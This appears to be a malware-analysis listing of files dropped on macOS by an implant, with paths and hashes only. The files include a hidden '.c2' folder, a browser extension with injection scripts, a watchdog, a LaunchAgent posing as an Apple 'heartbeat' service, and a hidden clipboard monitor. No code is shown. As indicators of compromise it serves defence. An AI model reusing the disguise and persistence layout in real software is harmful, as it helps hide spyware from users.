SSDEEP 192:S53XprkUn/NW6ozPwSI5zObiwKWC8ZGvlGDffFfeJkzNfqJkp0/m4ktTR2FR4IxU:U35wUn/9oz7I5zObiwKWC8wvl8fdfeJ8
TLSH
T1FB22431E1FED02A80153B5B94E5BA453E320F11F3A09A599788D7BD02F8DF7092E2F94
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stream.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/stream.js
Size 4KB
SHA256 b766b7ff30b15c8c8dac84b31469fe4aea72ee9cdd25e5319197174111919d11
MD5 d7c543cef19b3e4cd3a68975dd746a93
SHA1 d1067db338578f486b167042d7f6918ea1b9060a
SHA512 7994ef27c868f1e3e166f417b36f77c9b109c6498e9358a9b722ca792e1bf1f687ef10425eb11669e834a7e59f465db64a7c2dffbfa81371e3ff0aa015648933
SSDEEP 96:QQWVecxum1NQ6gvRNYY/LDg5Ib0IxC6dBIqO:XWVeWpgvb5zsqbk6duqO
TLSH
T140A10D4ED2B722279577B5ED4BDF83D13261C057112EEA80BA8DCBA53F4A4300674EA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

validation.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/validation.js
Size 2KB
SHA256 257923e54135f38ba66cf9129c02765c448efa2272e710844b3923b879605e18
MD5 4bcf7dddeaec3ec8092d3c40e1d1e107
SHA1 4be747258a0629e840191520eb17c4dde074db48
SHA512 ea56ba9ef0e53248667091f6e6d0574fca456100878adf0c7c3b974a54664af16de504287c0da701d518d4a83be2c7a77e4d4ffcfbac899129f253434b35c9ac
TLSH
T12F516CC540E265604793D5A98EC6C40E765CA4E725196A88BC8D3ED0EFF56E0C723ACF
MD5 SHA1 SHA512 TLSH

Submit Download

websocket-server.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/websocket-server.js
Size 12KB
SHA256 cd86f7152f604e829faea4c431906bd60d5f009e1d44949a3c074f5c2baf0758
MD5 599dc4fe636de5cb155d96382a17c0e9
SHA1 9ff0881491fbdf5657b97adda892eba45300d478
SHA512 1717c5d42c32d3bb82aadb01f9004d69b63b66e7904acc7ae8c37caa6fe07cb5daf0761792344be01a620d63c76e91e8afb0932664518db926a020096511f0a9
SSDEEP 384:PTXNHX5NM/3UI3kjfTy9MPJfg3LDaDWx1phIci:PTXVs39kDTJxWL+Sk9
TLSH
T108428745A9F623AE10B792E99A5B6044F338C1537306E4907A5C9BDB2FCF67482B1BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

websocket.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/websocket.js
Size 30KB
SHA256 f19d03afc89a78f394ea41ec877c973f62aa2630ccdcb810c4ae51c7fde58731
MD5 e8e733972413e7fdf202af2c6d17d1d1
SHA1 ecfd9e2020c6f1a0b8a4690a129aeb2eca3d141b
SHA512 34b73182bc219a8542b5d28336da071669cd7a3bdc25062b3b8969544491d7efd4d0f4ff0a35d22741f2801cb5c2ff4febd7aa94da4d6102ded2ddc359371ac5
SSDEEP 768:ppFsekckF1ychyFd220GXNsPjg/n8tO4tU4vwUA2Ehid:PFJFd220GXNsPjg/nkO4tU4vwPNQ
TLSH
T1B5D2C884EDFA12AA20B5E2B55B8F6585F330C01B7316D5D8346CDBE96F8B97042A4FC0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/package.json
Size 1KB
SHA256 7a8a8f27114a03f2f498279d1cf087c1359bbf1404ee4a86f0b48d7988343eb9
MD5 58c31aaa6cf24ca70d80107b33ccde45
SHA1 ef5dda0b463d78e0dc411b0d87e078391bd00252
SHA512 2b322a5b197c3b5b644013d1f85e7b98af96555676b9d788225b047333ce39d1c208de16b29828d05ae92fbec9957ddbcd29c1a7ca0b84656f6bbb38ef3e5e21
TLSH
T1C831CD76CC384EB30AE66AE1A454419272314C5B4984BC0C7B97471D4F8FAEF11FEA5E
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path /Library/.c2/node_modules/chrome-remote-interface/package.json
Size 1KB
SHA256 eaeebe64a4c9be6d8430bc1b001eecf5d2c2036f9e160ceffdb26b6bfbd92591
MD5 afc3cb29ed80b9c6e28ac82b7f235e67
SHA1 bb8f8504887e962788c5035b2f7a5d1c9200c649
SHA512 2b32f8dfc15080675a960ffeb297b2cb9251548ee43155680c9fe2cea181c8f040b43441384bb5432764873f5df3d103250a98605aab3ca4bfcb68c97405384f
TLSH
T1D4319B54CD66ECEF1DD83998A4BA181264A040035D90BD0E374D820E0F9E8DFA2FE39E
MD5 SHA1 SHA512 TLSH

Submit Download

webpack.config.js

Path /Library/.c2/node_modules/chrome-remote-interface/webpack.config.js
Size 1KB
SHA256 fb027e27c900c1c295f4d45a6a51dc17a6cca47e174b03bc7760ab171abc9431
MD5 7feb22072fbc2ea4f03f905defb16f1d
SHA1 978f3ce4d9ac960fd0bb130619467332f954260e
SHA512 66683569f7e8d3fdc2e6752653c261894a1ec826131d20b4803ee999ef93d7946491679161879106a266e8c9e6638da49183ea71c4b14cd8e7798174b657f7c5
TLSH
T1DD21A85310FA359421F3B1AD89AF524278A6C1971C1DBC307A9C01CA2F4F25C2BBDEC9
MD5 SHA1 SHA512 TLSH

Submit Download

History.md

Path /Library/.c2/node_modules/commander/History.md
Size 7KB
SHA256 e235da5e0b82986346c48182f0f41d616da1d3b0cdf1c178025a6d4a797f4bbc
MD5 014cea920496f446b74a8d67a7d96305
SHA1 143a8ea8d3ee1a366a4b6f52918bf97a63182866
SHA512 efecff2ada87f0f04aa94b2922b45e1573c06b5dd9ef51deb5b4c6a96bb8c94941af7adcc4276daa2a344464fb807ee5149944a096c8b0fb090e4d4332248dd2
SSDEEP 192:hLbjpxSpyWpnFe2FUq+qvORSCjsblG7Ie8rgMuuQc:hPjpxLWJFe97X4RG7v8rPuQ
TLSH
T117F16205BE7D3012536112AABBDA3AF2C774126E37ABB823146AD1F813047F9F717499
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path /Library/.c2/node_modules/commander/LICENSE
Size 1KB
SHA256 04512a63dce4d2d506ad612dc0bd7681ccf6e3655f7b6eaef7dfac8323d1ec0b
MD5 25851d4d10d6611a12d5571dab945a00
SHA1 63513188251d15fcdc716703fbee89be4a3a20e6
SHA512 48376b63359b007154bfa7b3993eca0b0e1d5e4d2b435f366e70c363a3841f06b91c09fefa9b04847a9ca44e37c5535c818a02bc66565a24ec15ef9c61039867
TLSH
T14611890E725407731857137019796C85B26F728FBE9F2A84246EF244233745CD4FBC40
MD5 SHA1 SHA512 TLSH

Submit Download

Readme.md

Path /Library/.c2/node_modules/commander/Readme.md
Size 10KB
SHA256 34ee3375994baeb69086c44bf0e714f7133c75df920f4f3704bf3343a92c56ca
MD5 1081631f6202d3a22327fac684ae3dac
SHA1 fffe8eb4799bd137c48e2956011236b1ab0141da
SHA512 9a4481e7666afccf54233a42e1b3e2d767a5938077340361c6753fc8dc361d4045aa571fc27d0965945cd21f7d95083021607852065a1b595bccdf4061ae401e
SSDEEP 192:u9k5aZcpNV9AdVwyAJC+BgTCNWJ7oHng6lF0kLniA:u0aZ+JfRNW2b7
TLSH
T1CB22C70598FD237131F332DA284E198AA533DBA19248A0023CED57FF9B95E42D59F398
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path /Library/.c2/node_modules/commander/index.js
Size 24KB
SHA256 a0d3ad8891b037919adc39f9eed9c6e39962d161ee53b36d1ec17a84df69b293
MD5 e1aa79336dfe7b0c5cf522726b502a0e
SHA1 21bf2c127f5267af63355f7533fe21476b1b1c47
SHA512 a83e03b6f738254dc038045c2f3a6180f7da0e90c163b323dc4f6b8d8857b3564ca0160840c7e86d3e9d03e2b8a30d59b8be280a3253bd7e9bf03e93d17f319c
SSDEEP 768:oQUIK8C2DXO03UOpizGiGofW+SRe7Y+ovFo9d:FUl81De0EOMGofmRrOX
TLSH
T149B266492AFE311202933074099F698572798713311ED99A786EFBD42FE8D71C2A7EB4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path /Library/.c2/node_modules/commander/package.json
Size 563B
SHA256 56adb0643eb43d4a6576a6565e82cc077d221e5b261c1a848391fa19b611b3fb
MD5 16abcc223d9fc260201b26c29ca43688
SHA1 ebcb3ab0a2454ab50259485426e14147fe9db55a
SHA512 2937262133d88ee676bd4df5a66525e9eb430fac45f66d0bd595443ad35f41d1301606c60bc53444f6b064505e0e6b1a7715613703e35edb0fe7bcb5136c8538
TLSH
T1F8F02B20C479982306C9269D5CAE254276634D0B4564BC0E3BD3714C4F6E26B40FE36D
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path /Library/.c2/node_modules/ws/LICENSE
Size 1KB
SHA256 2b29dcfe0d6471f7e8c92c5fb38c9f93edee10330937055440192f1832b1ecef
MD5 7a4bd929a6c0e6951846d75e53fc9f51
SHA1 511f37d51d39332d9423a92e4cd1241993989f03
SHA512 93936df4beda6d82f865d8cdd80fb4cb74b08bfe5e4e553b8e5e500e041541a36bc99c0fc3a46fef6b5ac65a0451c193e954a0ad89f983c522dc280b8e48e376
TLSH
T163216A2E725443612C5A03915466ACC5F51FB15F7BAB2A85147DF349131B45CD5FF840
MD5 SHA1 SHA512 TLSH

Submit Download

README.md

Path /Library/.c2/node_modules/ws/README.md
Size 14KB
SHA256 bb979132f3cbff08ce47f36d041e18071f8f534d01f591c0b129ba7abf1e480e
MD5 168ede11b1f68a104b4020cbb1461e1c
SHA1 d5b7d599825dab3d24ff0bb822ac62845c079321
SHA512 6dd42ff13b0d5af47a896ef44c6a383d70ea84d8962c3806321c99ccc757aa4c7f59f0574f371229e49f9906bc5a1bdbaa269e8fdcd363982e352d088fcfbef0
SSDEEP 192:bOtbYN/opUU5zvfCGyO2GCORhoJ52wO5oUe0uIQH6KY2QI+X2QA+kZwfdsbe0WTw:bIbYFE5LfClI7n0WVBE3L
TLSH
T14F62C65BE87522BAA17331A2EB0BE0D537758089330AA55437BC83BE5FE25B413572DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path /Library/.c2/node_modules/ws/index.js
Size 796B
SHA256 924564d5be26d59b9682c4263f68320e48dde7240bd2d1ad17ec305537429dd2
MD5 a15f5d41d74ff8472614c54d87841f64
SHA1 519557fda97020cb2a4c7aeffe7f8edf03e536d2
SHA512 89d799e4281f6906c46b1105b50bb0baf9d9b09adeaace3b48f8a4071f951350cda2ac56f8c47fef5fcdbc1a1d5a1ca139f7c10c547c066f533aef5e5968e0c9
TLSH
T1B9017590D5B5A5D930F852D1F96CF0C1B7978148FB0695C1A67CC7E3648B08C5B19FD2
MD5 SHA1 SHA512 TLSH

Submit Download

buffer-util.js

Path /Library/.c2/node_modules/ws/lib/buffer-util.js
Size 2KB
SHA256 8b0a45739132f82e25ea13163780abf547ccfe989267f3eb7abb475beec92da3
MD5 8c25c9dd9f6e3773f89b9e32b7105c3d
SHA1 f7118209aa3e4032abdb8180519a3cad15f0de05
SHA512 bc2e6d02069d7841150e43cbfafc5992e3003906363ff38dbb2ad9c8d39af99fa47e1343ababad1f72d27e3e09e022b9cafa978a57539ab3da27eda4168596de
TLSH
T1D651144A2FE060760203F26711C75E8FA3748A05B657D945511D6F602FECA74DDF1ED8
MD5 SHA1 SHA512 TLSH

Submit Download

constants.js

Path /Library/.c2/node_modules/ws/lib/constants.js
Size 503B
SHA256 391e823142b8b370e55a2fd32b022deaf03b8415c56000009674ebc86a0b4f86
MD5 22783d577f2ad3dfbad775128bcfad96
SHA1 b3726aae205316457c35cbbbc75b8dc73562e08b
SHA512 2103cfdaa7625d5a094426d0cfcce965f053a2934888db120a800c31322bdd5634f1988d66208c5431703fda6226954bc264fa5dddfc45cc81f5ce1ac2643b22
TLSH
T161F0592F1FD0B2BD9CB7500F5A6EBE45B8D15CA223CFF91550489EA8470C8401579684
MD5 SHA1 SHA512 TLSH

Submit Download

event-target.js

Path /Library/.c2/node_modules/ws/lib/event-target.js
Size 7KB
SHA256 c45d3c6e12d170c860c0c3f1a050aa0f864d9806632b609a1e607d675aba128c
MD5 d02492ef6fdb35d8ad8af33f90c91fdb
SHA1 923aff1a440b1bb30658a2a3f9e3a9da6ceb0eb7
SHA512 47d8c788b7b57851e6967f9ee5a0d183800040e77f540720982e91cd992a03543f9014cbed590cdbf1c6c6a17f83e88aa3d797102db5aa6ae756e6bf4e0cdc53
SSDEEP 192:vcQQOMbplFo81yEPHNjAZvIAqishOoS6n/6LCcGxFa0cnrVSL:dMDtyEKvgiUPHi4
TLSH
T155E1DE492AF403F301B7A3BF770A7190D020D5EB622965E474ECDEF90F49AB496E2784
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extension.js

Path /Library/.c2/node_modules/ws/lib/extension.js
Size 6KB
SHA256 852564f0f6b460287043803eae732666fb5610f676874354fc89f06aa4e986ed
MD5 379b482fc8622cbf8731096e70734b3d
SHA1 af02e218b64fac9b65b54732ff593d62ae6bee5d
SHA512 6c991272627c0a452bd536c9e3604a9601d42f0f17aece0bd712df5c0fd5a2f3abc2bd70f025fa099092b7cf3946e2ade4c21e537720b8ac266196f8c813cbe8
SSDEEP 96:sKoor/fSpwCljhsZhk+FsqNB0GtPH+9xalu:sKC5BeZhkAxNyoPH+b4u
TLSH
T1E8D1019629DB22120A7F78B5DA0BE568D3780107720CAA44BD8C67893FD5E3583B5F89
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

permessage-deflate.js

Path /Library/.c2/node_modules/ws/lib/permessage-deflate.js
Size 14KB
SHA256 02c31796f0132a335d4efe7b7adcebadbb69543a1ce65ae04aaccc3530e27ab9
MD5 607070f8184092407c7a63fac8c69f20
SHA1 9f9896dc0a4352671647ce41168fd790feea669e
SHA512 f9b361c89d6b73e72e3eeb4ff7ffdae3e98c9f3946d8c9af37b1a94812ec4fc3057e8bead1886d2532b38ad119eec6bff5a4075d2a7874a829a7e3ed09fe924e
SSDEEP 384:CxmZikcIjmNBu/OMiSOsbOk7OadYO7oFJt8:oiiDIaLZSOIOmOxOb
TLSH
T1266261591BFA026740E767E68FABA24AD330D01B352AD588395C53CE1FCDE34D399B90
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

receiver.js

Path /Library/.c2/node_modules/ws/lib/receiver.js
Size 16KB
SHA256 7b9f6afc1fffb5c98d768d7d3d6fc1b709f28b45c6ae2682ff255075394323d9
MD5 40f144c1d78529b9c77f4a4e2e5af22b
SHA1 2a0eb7f794219d21ed3e1d72fe80325befdd8743
SHA512 0e4323cbd5043c1b3ce0b1852a3066f3d26b035b3ff1fbed7b5f1cedd9d7d8b1fc18cd3760def6ed7bdb76626b2ea613d7e46eda9fa32604ee028d2ecbe030e3
SSDEEP 384:/M9ei81yJZgf8xBnDXehQhjgRl09Mwn9T9ovb:/M9eOZgf8xBnDXehQhjgRl0hI
TLSH
T145720F061BFA116A8063B47A1FBB951B6124601F390AE84C794C57EDAFCCB3489B5FF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sender.js

Path /Library/.c2/node_modules/ws/lib/sender.js
Size 16KB
SHA256 a80e8688dde53d46d836a58c9d15121ee12e978b7b0f656ed818c63d20df5f94
MD5 f227c571ac25059700b38b60d9484a2f
SHA1 ed4bfb3a06193ccc18bd13bca0e6e63b24483430
SHA512 e7386fb536dd43ec2cb926f0adbe79fff2087c980f4361413301c04e49a0d07ebb6515267691d62ac40e7574c36ebb884ba057649ac80f3bdc6904bd6deae892
SSDEEP 384:KDt8gyVX1U/cV7If/WbiwKLCibvlYf5fKm/JtBkvVX1U/mBmNJ8VX1U/Y8dL2VN9:KDt8NVX1URCiblYf5fKm/JtBkvVX1U/S
TLSH
T1687222191FEA126A0193B1A48EAF9057B330F22F7619D498784C7BD06F9CB7091E6FD4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stream.js

Path /Library/.c2/node_modules/ws/lib/stream.js
Size 4KB
SHA256 a56fcb6e2b152097ee820b6f5410b1f71e59819b45d08d9f8bda588fe39070ec
MD5 06840a6e365bdb23c05dd958e4756473
SHA1 d3de11ef622c66ffc0ea4c2bdc114e85779d0db6
SHA512 89d9ef4ea0cc3ff80d7697229c2ef9a6c57d2308f3e0469cd94a1dbd2da2e0de1968839773f23c986efa6f91ec1ac3a960226f0427d9c0e0846b31ea6f0b2ee2
SSDEEP 96:/QWVMjxumJYNQ6gvRNYY/LDg5Ib0IxC6tIqO:oWVMNwgvb5zsqbk66qO
TLSH
T183812F4DE2BB126B6577B5ED4BDF83E53250C453112EEA40B58CCBA42F1E4340674EE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

subprotocol.js

Path /Library/.c2/node_modules/ws/lib/subprotocol.js
Size 1KB
SHA256 be3f6323d6f549568577dcba9004c1479d95c65a7abb0fe0c582875b9fac0b7c
MD5 942d99c9806b3423d8849530687d3d37
SHA1 45de2302a00451a68fb123f28faa3af105ce019f
SHA512 bbfa0495207e0222d726b45beff0189f8aa6351fe6068423213cbb6ee6661f2c869019a250ce81bfd13372a2d5ecd599b78f16e7950deacab78c5cec78291083
TLSH
T190311241A5E723894ABA3475C54BF991E3BD0206E14D8D483A4CD28B3FC59618FB5E81
MD5 SHA1 SHA512 TLSH

Submit Download

validation.js

Path /Library/.c2/node_modules/ws/lib/validation.js
Size 3KB
SHA256 41ce8e83d0d434132e1704895fedb91f6703a701b42d91c80954ab29b2845593
MD5 fb87bfd1186d149f39b3a1d7948b9852
SHA1 2fb0c708af35d05a8206dd098d7b2d2515212333
SHA512 c0b96e19724df2d454bd1b21e8436b117429c03635f766fcaa561e0b76afbf681bb40e7e931ca954dfa0cff9108f52c8466cb702be88d1d424e7341219121e88
TLSH
T1B581BAC757D6212C0353C16D8A8A8C1B66ECD4B6622C59CFB84D3ED4DFA9560C7239CB
MD5 SHA1 SHA512 TLSH

Submit Download

websocket-server.js

Path /Library/.c2/node_modules/ws/lib/websocket-server.js
Size 16KB
SHA256 88139775699dbc17474a074cc92f6682cb5968022db6ec856e6e46a5dc341c61
MD5 6b2cf9e90f1b04f41f123e3441d7079d
SHA1 0109bd70df6227ddf4b4ef868f2c7e5f2c428506
SHA512 1c92112455e65eed0139c03cc0a4d4c0b494bc05853b68fff958066e3da2388609fbe578acd21cb1477134efd0162268ee11578fba4b98d68ca725c37afa882d
SSDEEP 384:6Dp3YNHX5NMpia3JUrWGdQT0DnbPEgQLDabWgD1KSZ5:6Dp3YV6p3JwdQTQEDL+fF
TLSH
T1B2729945AAF623BE00F392E96A4BA451B338C1537306E495755C9FCA2FCF6B48261BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

websocket.js

Path /Library/.c2/node_modules/ws/lib/websocket.js
Size 35KB
SHA256 e2308419b4f64007a79095e4eda12ee5db6ddcea7ca89dfc301666ad686e1874
MD5 35786dc9eabfd0213aba14f793b6a60d
SHA1 6010c5bb2f6e767677fa7ac0a3b7652f74b2123e
SHA512 58295372edbef68c45a50d09f50f032e24c9a0e2871571d022238dcd9f796d55754949d37320a0ba9fe466740264aa9e6d7247b84cb461a8e0fca8d33e8e5e66
SSDEEP 768:774TrgTtkckOy1chyT+220GXNsdjg6N2GwMgiMOqkT8YwZknercXd:7jTkT+220GXNsdjgYglOqkT8YwO5
TLSH
T129F2A784E9FE13AA60B6E2B44B8F6185F330801B7316D5D8345DDBE96F8F97042A5BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path /Library/.c2/node_modules/ws/package.json
Size 1KB
SHA256 0e8b0104fec3e3b96704861c6ef3ad77c27add2cc016e49e111291b16b677f89
MD5 6f1cf76227fbbe78beba119be4c3c301
SHA1 41e7304cfa8bc863b3806c89cc3cce89ffd664cc
SHA512 88b04e35e24430d6b77db6296a3627c2299ae3ff6d9af89fffde758ae21198f6c1dcd2cca9e382a90bb7e333dcbb6a457b93f8c35c639d0a490d0884b8f2538c
TLSH
T17E31FE76CC790EE30EE529A878A441527232485B5984FC0C7BD7431C4F4EAAF11FEA5D
MD5 SHA1 SHA512 TLSH

Submit Download

wrapper.mjs

Path /Library/.c2/node_modules/ws/wrapper.mjs
Size 554B
SHA256 fe154662301fd558f935f9c217fccbe7a7dac02ff39e648a000589403ff27c7f
MD5 e3639204a5d5da62194b5a0ae81beeb4
SHA1 b6c873329b94d741d854b98288885a409bcea0e2
SHA512 0e2de670091cb781275b8d5bbd769de53c0f6860843ce0c2f49f64bc5bcbad734bc78ab4cbd2bedf0d10eb97f53436df5ee9930a0359e52bdff8fe9fe9f0f044
TLSH
T1FBF096B1883F8BC9B1F465D4B94CF5D1B768828ABF8679936279C7F2C28A0482124342
MD5 SHA1 SHA512 TLSH

Submit Download

content.js

Path /Library/.c2/oao_ext/content.js
Size 10KB
SHA256 bb8922a1a7c1462cedd5e65d74f6e807ea10e46f4df5dd0dde96d10f64be62c5
MD5 39d56718144a4660c10117b785fecd58
SHA1 363e95e30de6ac3062aed9a3bb602074c62ed39e
SHA512 8802f1d46b46ba8b865c4d5f80136213e0652337e9083103e3230423ac0579a1cc29c5aaed45b12427c85fc1abad143327aa9504b09883580f9f2c1a749386e3
SSDEEP 192:OTlCJEQIBDr44bL9d3kfyqbqy8D8Ln7tAq13+qy+gxdNK:TJEHL9d3uyqbqyW2xAq8qy+gHNK
TLSH
T13D223CB136E5283802E769B330BFDB8A3472471999059041986C94A1FE55DC39937FE9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icon128.png

Path /Library/.c2/oao_ext/icon128.png
Size 7KB
SHA256 4ff8f7d4b472f862ac297a4e4d8bf6123384f7217ae440196e16595f1d977660
MD5 c5420faa0abd694e5da272df39772971
SHA1 873ffba860ae9b57f4393344e43b8281fc1c0cff
SHA512 c428748e7e6632b27c267566b02dc69792da6592a38d981c8bdc114f1fbe125c9a835dae982d70c91b3909e7ad5d06ea7b6f6a303b2b825168512960697761c3
SSDEEP 192:ELael94G+JWaQ89iOJCNL4BKWU2XXcegjtV4AoU:ELb0Wa9CEhRcZjnpoU
TLSH
T1B7F1AE063854AF808E963A875E60F5F7CEB0E30D47EE923824A93B614E7C2D4357A11E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icon16.png

Path /Library/.c2/oao_ext/icon16.png
Size 730B
SHA256 048c54e07f1634428107fb0b2db84648444c278b6010be9c445a75d8600e5002
MD5 e759c91c9dccfae72b846be3eedcbc23
SHA1 e0caee65fcc2311ddccd3c998a69d17cfe06e64f
SHA512 fbf4765e60964063cc39460a5903ab8d1cfac88b4ade1603b2d85ea807b08f1fdfe7c59744028c3ee6cc8749cbe135b1d2da841ca5c5a53ad433079edd44bc6a
TLSH
T1D40165ECA63D747D4D8A212CC4C409A0C23E382D44ABC8DB6533EB6629C565016217C3
MD5 SHA1 SHA512 TLSH

Submit Download

icon32.png

Path /Library/.c2/oao_ext/icon32.png
Size 1KB
SHA256 d961af7515964167621ba4cf556fee9df395d87ac0b213e1603e18d0b253105f
MD5 1421c97752698aca0f5afee1de1aa5e7
SHA1 cc3dc104f95efdd9e15c0215ced60c55bae19186
SHA512 ad296ccd0deae052b4e5045f5d16207b04ff30ca9f457fdc8d111a186ffaff7210305ca12cc2caca3bc7ffa48e986afa1476a9b8027b4b04548ff68973d4a161
TLSH
T11031FADB308457AD9A8509E0DCAF0C66FD73CBDCC9AE437044D3129D6AC762593D026E
MD5 SHA1 SHA512 TLSH

Submit Download

icon48.png

Path /Library/.c2/oao_ext/icon48.png
Size 2KB
SHA256 3b927b1fe20373806f04c5dbc32de48f4a45b074ffa13b68049a2241059926b2
MD5 dbbf18453e72a255eec30c6f74ac823b
SHA1 cc56225d9af826bb3ecbe5572a312a455077dafa
SHA512 7e3efd10e4c38edd171c6ca22a08713a02b0333b173cdcd7d7b7a0ccac047c80268eb9784df590088ee35527bae1ae0b9d62c35fee24ca92436ffd2b46adeabc
TLSH
T1CC510809F27D68B461629739B1E9FE27AA7346470C3E22913A307BDC57F173A0110E6A
MD5 SHA1 SHA512 TLSH

Submit Download

inject.js

Path /Library/.c2/oao_ext/inject.js
Size 1KB
SHA256 21362866130f0f4b064ed30a58d85bfe94a20c6b6aa0af708a9cadf1a8dce862
MD5 dc0acabd4710f50f473d8634d014a2e8
SHA1 12baf841eefde670e1d2153c540bdf83415304c4
SHA512 d3c1fbd3a6864039f980a1f0114a8c34a688e616d74f7e8443aa1973c224efab9b00f62dd7ff60da00b0ff12b03513276e3e12cf03067714823336915d3bb7ca
TLSH
T1FC3188513324F8F403F114222EAF2640B453837B192354512A3EEDDCB95EECA6613F69
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path /Library/.c2/oao_ext/manifest.json
Size 1KB
SHA256 bdc63df50d57804d118cf7fe9ea9a3117a128388902c69f4c763c388787c0014
MD5 d1985ee3baa8a020ea6d512230d5b200
SHA1 2c343df04e47813c0d4639aa2ccc7edc594da280
SHA512 68dd738ac040b96779c34a5f4cdf06e3bf5e96a32cd6a49eb36f35468079748761d05c98995354d8400c3cfe7670f56a89f3d2e8ac8fe96540571781bea0bb94
TLSH
T1FB31B920D8648DB702D867742EFA55529A3015579D48BC1C3B9ED00C8FB9A2F06BA789
MD5 SHA1 SHA512 TLSH

Submit Download

popup.html

Path /Library/.c2/oao_ext/popup.html
Size 3KB
SHA256 b34666b4aed1ecb5c875838a1c427829ee659d58e4246e6e2aada64fd5dfd979
MD5 3e20f96b15a99b722fc7e2b1f53c7929
SHA1 ad9072b206ce4bc9e0e23a310d368224f733510e
SHA512 887f175e37254f15dcfd8cf359de8bf6035b0b32f4cb549b8aedc913b67c3a566fca39b3382f4ecc6e750c18220a04c262ec0a3295cb471f298c7cfdb74c0897
TLSH
T1346110D7A76B0002B91289F9776667467334D147C045C9283FFC92B8CF8A1E4ADD2B6C
MD5 SHA1 SHA512 TLSH

Submit Download

service_worker.js

Path /Library/.c2/oao_ext/service_worker.js
Size 43KB
SHA256 a7a9eb2e9878e41064cdcb5a74821bdf4de0474e4753f35a13d0f8a83683e37b
MD5 8ab8abff09ec2d33c7f13ecb49fd9ef6
SHA1 01ce40242ff8bef84eafdab7fb33a306b51c7701
SHA512 d8306c787df0e15d787191f50de33ba3dc8cabe8de72b92b4d18d85ed31461289bd7fa8cf0d222a278c674d9ee1f1738f075f8a8e29bf1713165334bded1e8c1
SSDEEP 768:bgl2cHaXZaufFPHaezqL6T3rIAgNwFMMggbfZsf97/V/jba7otFo2oUrL/ml/mix:bo2cHaXDfFZm6T3rIAgCaMggbfZsf9xk
TLSH
T1CF13D75E67E724392553B03C6BABA189793381034A89DE503F4CA2656F94D2847B8FFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path /Library/.c2/package.json
Size 1KB
SHA256 d8aa7b8ab429c36dd066aaaa9853fe8d2f2f0a5f2bab64e7facf04de7dcadf97
MD5 7eedfb905c95fda1d9893075e632b248
SHA1 9fa2c771161563051f77c75542d08afaf0642652
SHA512 faa0f4f526bf3955ab9b28ee7244e55d2d5092d82e93072df335f8fd17bd00f93d720dc25c1860b6587e7962167f43d43e2a0c90699b8754563251af92109eeb
TLSH
T10021E220CD148D7715C80DC2BDB94A0255B9185708DDBC0533DAA03F0F9C1BF50BDAAD
MD5 SHA1 SHA512 TLSH

Submit Download

restart_counter

Path /Library/.c2/restart_counter
Size 13B
SHA256 7a5b8f69f7826a344469e18b41e435257050b515e328c117774ad9182166c9b9
MD5 0213ab0a4349f6547aa704d2b7c081d4
SHA1 c15fc65aeecd927953e51458436110d7dc6fb496
SHA512 c66e36b29f84877ceb479d335800766d912ea8a10ff716cf7e7b5779caf8108cc02150fe3c261e5f87913cbab4d192e16069329b865b01bad5a7022e6f3f4175
MD5 SHA1 SHA512

Submit Download

restart_counter

Path /Library/.c2/restart_counter
Size 13B
SHA256 2f642eb693ef48134f3692135fd380ec29cbb768e4a7dbbd6bb1508dfb62f202
MD5 1af98dc912f58642efdd0c9d4b263dbd
SHA1 0f1a7767cf7826089ea113277eb397072371576c
SHA512 a446b1c51bfa1eb56e291f82d18a27e4302544f5ae80aab00048a12a028d883401ee8409eeca06b8e733d6dadb9fac26619ebf114e292df23f2fe66d6b836900
MD5 SHA1 SHA512

Submit Download

watchdog.plist

Path /Library/.c2/watchdog.plist
Size 984B
SHA256 6e60af650401d3949a19a663c65f8a240e2b67cb22adc62e20e3d9abbd806b8d
MD5 d704194be89371e5b0b00ecb2512ff55
SHA1 a1b35d6747f454543f94cdc0aac339a0bab2fd59
SHA512 5e721b87731a89204ebae53b373501d8247b65ba4bbee004c15390f516e265684f41f86749c988c665f5405427f5b8c13af5f1bc09f0fc9b6d6c4d0eb66e02cd
TLSH
T11E11E3F046E8E19E2CD05D0207E0800AADD972DB5CB224FFB8EE29458F8AD4703A7658
MD5 SHA1 SHA512 TLSH

Submit Download

com.apple.heartbeat.plist

Path /Library/LaunchAgents/com.apple.heartbeat.plist
Size 982B
SHA256 dd94787dbbc22cfad9df5266f54ff94ad1e9c3a5d41b0ea923d8ad93e0dfb1e5
MD5 1d16b9038186d07fa5fcb58746dd9866
SHA1 3437359ae27b8d51f075dbff620f6adc39b38353
SHA512 116a878e59ba9947b1ef5155c468f81546db2f99ac213e0647a0262b3536a8963b4058147889216c2262ee7732e241206e504ceb4d2538697a973c3f604df5b4
TLSH
T1FA119EF046F8E55A08C46D5207D4954A8EC6B2CB1CB214FAB8DE39858F4AD5702B7AA4
MD5 SHA1 SHA512 TLSH

Submit Download

.clipmon_ps_Q4huLTcs.ps1.swift

Path /tmp/.clipmon_ps_Q4huLTcs.ps1.swift
Size 4KB
